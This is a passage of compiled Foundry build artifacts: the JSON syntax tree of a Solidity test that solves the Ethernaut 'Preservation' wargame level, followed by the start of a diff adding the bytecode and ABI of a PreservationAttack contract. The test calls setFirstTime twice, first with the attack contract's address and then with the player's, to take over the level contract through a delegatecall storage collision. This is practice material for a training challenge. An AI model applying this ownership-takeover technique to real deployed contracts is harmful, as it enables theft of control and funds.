PreservationFactory"}],"id":63089,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1160:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63088,"name":"address","nodeType":"ElementaryTypeName","src":"1160:7:141","typeDescriptions":{}}},"id":63091,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1160:16:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63087,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1154:5:141","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":63092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1154:23:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":63084,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63021,"src":"1130:9:141","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63086,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1140:13:141","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1130:23:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":63093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1130:48:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63094,"nodeType":"ExpressionStatement","src":"1130:48:141"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":63095,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1188:2:141","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63097,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1191:9:141","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1188:12:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":63098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1188:14:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63099,"nodeType":"ExpressionStatement","src":"1188:14:141"},{"expression":{"arguments":[{"id":63103,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63028,"src":"1227:6:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63100,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1213:2:141","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63102,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1216:10:141","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1213:13:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63104,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1213:21:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63105,"nodeType":"ExpressionStatement","src":"1213:21:141"},{"expression":{"id":63122,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63106,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63024,"src":"1244:8:141","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":63111,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63021,"src":"1296:9:141","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":63115,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63078,"src":"1321:7:141","typeDescriptions":{"typeIdentifier":"t_contract$_PreservationFactory_$54127","typeString":"contract PreservationFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PreservationFactory_$54127","typeString":"contract PreservationFactory"}],"id":63114,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1313:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63113,"name":"address","nodeType":"ElementaryTypeName","src":"1313:7:141","typeDescriptions":{}}},"id":63116,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1313:16:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63112,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1307:5:141","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":63117,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1307:23:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":63118,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1332:1:141","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":63110,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1276:19:141","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":63119,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1276:58:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63109,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1268:8:141","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":63108,"name":"address","nodeType":"ElementaryTypeName","src":"1268:8:141","stateMutability":"payable","typeDescriptions":{}}},"id":63120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1268:67:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63107,"name":"Preservation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54034,"src":"1255:12:141","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Preservation_$54034_$","typeString":"type(contract Preservation)"}},"id":63121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1255:81:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}},"src":"1244:92:141","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}},"id":63123,"nodeType":"ExpressionStatement","src":"1244:92:141"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":63124,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1346:2:141","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63126,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1349:9:141","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1346:12:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":63127,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1346:14:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63128,"nodeType":"ExpressionStatement","src":"1346:14:141"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"772:5:141","parameters":{"id":63029,"nodeType":"ParameterList","parameters":[],"src":"777:2:141"},"returnParameters":{"id":63030,"nodeType":"ParameterList","parameters":[],"src":"787:0:141"},"scope":63211,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":63151,"nodeType":"FunctionDefinition","src":"1619:137:141","nodes":[],"body":{"id":63150,"nodeType":"Block","src":"1646:110:141","nodes":[],"statements":[{"expression":{"arguments":[{"id":63137,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63028,"src":"1670:6:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63134,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1656:2:141","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63136,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1659:10:141","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1656:13:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63138,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1656:21:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63139,"nodeType":"ExpressionStatement","src":"1656:21:141"},{"expression":{"arguments":[{"arguments":[{"id":63142,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63021,"src":"1719:9:141","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":63145,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63024,"src":"1738:8:141","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}],"id":63144,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1730:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63143,"name":"address","nodeType":"ElementaryTypeName","src":"1730:7:141","typeDescriptions":{}}},"id":63146,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1730:17:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":63141,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1699:19:141","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":63147,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1699:49:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":63140,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1687:11:141","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":63148,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1687:62:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63149,"nodeType":"ExpressionStatement","src":"1687:62:141"}]},"documentation":{"id":63131,"nodeType":"StructuredDocumentation","src":"1551:63:141","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1628:8:141","parameters":{"id":63132,"nodeType":"ParameterList","parameters":[],"src":"1636:2:141"},"returnParameters":{"id":63133,"nodeType":"ParameterList","parameters":[],"src":"1646:0:141"},"scope":63211,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":63210,"nodeType":"FunctionDefinition","src":"1811:337:141","nodes":[],"body":{"id":63209,"nodeType":"Block","src":"1839:309:141","nodes":[],"statements":[{"expression":{"arguments":[{"id":63158,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63028,"src":"1863:6:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63155,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1849:2:141","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63157,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1852:10:141","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1849:13:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63159,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1849:21:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63160,"nodeType":"ExpressionStatement","src":"1849:21:141"},{"assignments":[63163],"declarations":[{"constant":false,"id":63163,"mutability":"mutable","name":"attacker","nameLocation":"1900:8:141","nodeType":"VariableDeclaration","scope":63209,"src":"1881:27:141","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_PreservationAttack_$49683","typeString":"contract PreservationAttack"},"typeName":{"id":63162,"nodeType":"UserDefinedTypeName","pathNode":{"id":63161,"name":"PreservationAttack","nameLocations":["1881:18:141"],"nodeType":"IdentifierPath","referencedDeclaration":49683,"src":"1881:18:141"},"referencedDeclaration":49683,"src":"1881:18:141","typeDescriptions":{"typeIdentifier":"t_contract$_PreservationAttack_$49683","typeString":"contract PreservationAttack"}},"visibility":"internal"}],"id":63168,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":63166,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1911:22:141","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_PreservationAttack_$49683_$","typeString":"function () returns (contract PreservationAttack)"},"typeName":{"id":63165,"nodeType":"UserDefinedTypeName","pathNode":{"id":63164,"name":"PreservationAttack","nameLocations":["1915:18:141"],"nodeType":"IdentifierPath","referencedDeclaration":49683,"src":"1915:18:141"},"referencedDeclaration":49683,"src":"1915:18:141","typeDescriptions":{"typeIdentifier":"t_contract$_PreservationAttack_$49683","typeString":"contract PreservationAttack"}}},"id":63167,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1911:24:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PreservationAttack_$49683","typeString":"contract PreservationAttack"}},"nodeType":"VariableDeclarationStatement","src":"1881:54:141"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":63178,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63163,"src":"1991:8:141","typeDescriptions":{"typeIdentifier":"t_contract$_PreservationAttack_$49683","typeString":"contract PreservationAttack"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PreservationAttack_$49683","typeString":"contract PreservationAttack"}],"id":63177,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1983:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63176,"name":"address","nodeType":"ElementaryTypeName","src":"1983:7:141","typeDescriptions":{}}},"id":63179,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1983:17:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63175,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1975:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":63174,"name":"uint160","nodeType":"ElementaryTypeName","src":"1975:7:141","typeDescriptions":{}}},"id":63180,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1975:26:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":63173,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1967:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":63172,"name":"uint256","nodeType":"ElementaryTypeName","src":"1967:7:141","typeDescriptions":{}}},"id":63181,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1967:35:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":63169,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63024,"src":"1945:8:141","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}},"id":63171,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1954:12:141","memberName":"setFirstTime","nodeType":"MemberAccess","referencedDeclaration":54017,"src":"1945:21:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":63182,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1945:58:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63183,"nodeType":"ExpressionStatement","src":"1945:58:141"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":63193,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63028,"src":"2059:6:141","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63192,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2051:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63191,"name":"address","nodeType":"ElementaryTypeName","src":"2051:7:141","typeDescriptions":{}}},"id":63194,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2051:15:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63190,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2043:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":63189,"name":"uint160","nodeType":"ElementaryTypeName","src":"2043:7:141","typeDescriptions":{}}},"id":63195,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2043:24:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":63188,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2035:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":63187,"name":"uint256","nodeType":"ElementaryTypeName","src":"2035:7:141","typeDescriptions":{}}},"id":63196,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2035:33:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":63184,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63024,"src":"2013:8:141","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}},"id":63186,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2022:12:141","memberName":"setFirstTime","nodeType":"MemberAccess","referencedDeclaration":54017,"src":"2013:21:141","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":63197,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2013:56:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63198,"nodeType":"ExpressionStatement","src":"2013:56:141"},{"expression":{"arguments":[{"arguments":[{"id":63201,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63021,"src":"2111:9:141","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":63204,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63024,"src":"2130:8:141","typeDescriptions":{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Preservation_$54034","typeString":"contract Preservation"}],"id":63203,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2122:7:141","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63202,"name":"address","nodeType":"ElementaryTypeName","src":"2122:7:141","typeDescriptions":{}}},"id":63205,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2122:17:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":63200,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2091:19:141","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":63206,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2091:49:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":63199,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2080:10:141","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":63207,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2080:61:141","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63208,"nodeType":"ExpressionStatement","src":"2080:61:141"}]},"documentation":{"id":63152,"nodeType":"StructuredDocumentation","src":"1762:44:141","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1820:9:141","parameters":{"id":63153,"nodeType":"ParameterList","parameters":[],"src":"1829:2:141"},"returnParameters":{"id":63154,"nodeType":"ParameterList","parameters":[],"src":"1839:0:141"},"scope":63211,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":63015,"name":"Test","nameLocations":["456:4:141"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"456:4:141"},"id":63016,"nodeType":"InheritanceSpecifier","src":"456:4:141"},{"baseName":{"id":63017,"name":"Utils","nameLocations":["462:5:141"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"462:5:141"},"id":63018,"nodeType":"InheritanceSpecifier","src":"462:5:141"}],"canonicalName":"TestPreservation","contractDependencies":[49101,49683,54127,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[63211,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestPreservation","nameLocation":"436:16:141","scope":63212,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":141} \ No newline at end of file diff --git a/contracts/out/PreservationAttack.sol/PreservationAttack.json b/contracts/out/PreservationAttack.sol/PreservationAttack.json new file mode 100644 index 000000000..ef5be319e --- /dev/null +++ b/contracts/out/PreservationAttack.sol/PreservationAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"setTime","inputs":[{"name":"addressAsUint","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060ca8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80633beb26c414602a575b5f80fd5b607c6035366004607e565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f60208284031215608d575f80fd5b503591905056fea26469706673582212208e4121d5b2cc0088b1abc08987c9ef52a97254b2b24ed6ec042cdf2395eff31764736f6c63430008180033","sourceMap":"58:231:54:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600e575f80fd5b50600436106026575f3560e01c80633beb26c414602a575b5f80fd5b607c6035366004607e565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b005b5f60208284031215608d575f80fd5b503591905056fea26469706673582212208e4121d5b2cc0088b1abc08987c9ef52a97254b2b24ed6ec042cdf2395eff31764736f6c63430008180033","source